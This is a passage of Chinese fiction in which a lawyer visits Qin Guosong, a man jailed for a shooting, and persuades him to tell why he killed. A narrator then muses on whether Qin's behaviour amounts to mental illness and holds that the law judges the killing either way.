律师与秦国颂说明了自己的身份并向秦国颂说明了来意。说完后他向秦国颂拿出二凤交给他写的那张便条。秦国颂接过便条快速扫了一眼,便把便条交给了律师。就在律师伸手接便条的瞬间,秦国颂又把便条拿了回去,放在自己的眼前又仔细的看。他拿着便条,用略带有些惊讶的眼睛看着律师。 “她写的?” 律师点了点头。 “她还想要我活下来……” 律师优点了点头。 “您觉得我能活?” 律师看了看秦国颂,语重心长的对他讲。“那要看你的杀人动机,为什么要杀人?你在杀那个人的时候是怎么想的?这些你都要给我讲出来。我才能保证你在量刑时向公诉方提出对于你量刑适当的依据。” 秦国颂摇了摇头。又拿起手中的纸条认真的看。再抬起眼睛看着坐在他对面的律师。秦国颂的眼睛里噙着泪花,他没有让它滴下来。用嘴吻了那纸条,随手把它递还给了律师。 律师接过纸条没有再说话。他看着秦国颂。期待他主动开口。 秦国颂看着律师,努力的平静着自己的心情。小声的问了一句。 “你带着烟吗?” 律师摆了摆手。对秦国颂说。“你等一下。我去给你要。” 他站起来走出门去。过了一会儿,他拿着一包烟回来。抽出了一支递给了秦国颂,秦国颂把烟叼在嘴上,伸手要打火机。律师把打火机打着,给他点燃烟,并把打火机拿在自己的手中。对他讲。 “你不可以拿打火机。这是规定。” 秦国颂狠狠的吸了一口烟。对律师说。“哦。我说的呢。在这里我抽过两次烟。都是警察给我点着的。”然后他又接着抽烟。一连抽了两三支。缓缓的吐出一口长气。对律师说。 “我不是不想说。我知道说了也没用。怎么着也是个死。现在想了想还是说了吧。省得那么多人为我操心。还有你们,还有那些警察呢。都不容易。早说了早判,省得在这里瞎耽误功夫。尤其我不愿意让二凤替我操心,二凤就是张文凤,我对不住她,我们俩呀,好了没几回,却闹了半辈子的误会……都怪我呀。算起来我这是第三次进这里边来了,我这辈子怎么跟这里面这么有缘呢?” 律师心里面踏实了,坐在他对面的这个当事人还真不是个一般的人,要是不说话吧,无论你用尽什么法子,他几天一句都不说。一但潘多拉的魔盒打开那话就如同决了堤的洪水一发而不可收。这是病吗? 秦国颂给律师讲了他杀那个人的前因后果…… 律师认真的听着记着。从秦国颂的叙述里牵扯出另外一个重要的人物。 这个人叫安康。 …… 我们还要重复一句。说到了秦国颂,究竟是不正常还是有病?我们给不出一个准确的判断。要说他没有病,他做出来的一些行为举止与常人不同。比如说他这一次枪杀这个叫陈娇龙的人,其实这个人的真实姓名叫张双槐,至于他真实的形象什么的已经不重要了。重要的是他死了。秦国颂完全可以不杀死他。因为小雅已经被他姥爷赎回去了。秦国颂就没有必要再继续发生这样的悲剧了。但是然而这个事情确确实实的发生了,他跟那个叫陈娇龙的或者叫什么张双槐的人仇恨真的有那么大吗?不一定。之所以发生这样的事情,那就看发生在什么人身上,看此时此刻那个人的精神状态。 秦国颂确实是有病。只不过他这种病的严重程度并没有达到那种蓬头垢面衣不得体,满嘴胡言乱语的地步。他并没有毫无缘由地主动去攻击别人。他只是有做出来的一些违背正常人举止的行为。这种行为我们当然可以称其为是一种病态。纵观整个社会,这样的人还少吗? 这真是一个社会问题。 我们这个社会把一些有悖于常人的行为和举止都统称其为“病人”。 但是开枪杀人这种主动剥夺别人生命的行为就不能只用“病人”两个字来搪塞的了。这种行为已经触犯了大的刑律。 既然是触犯了刑律。那就用法律的解释条文来说话。不管你是否真正的有病还是没病。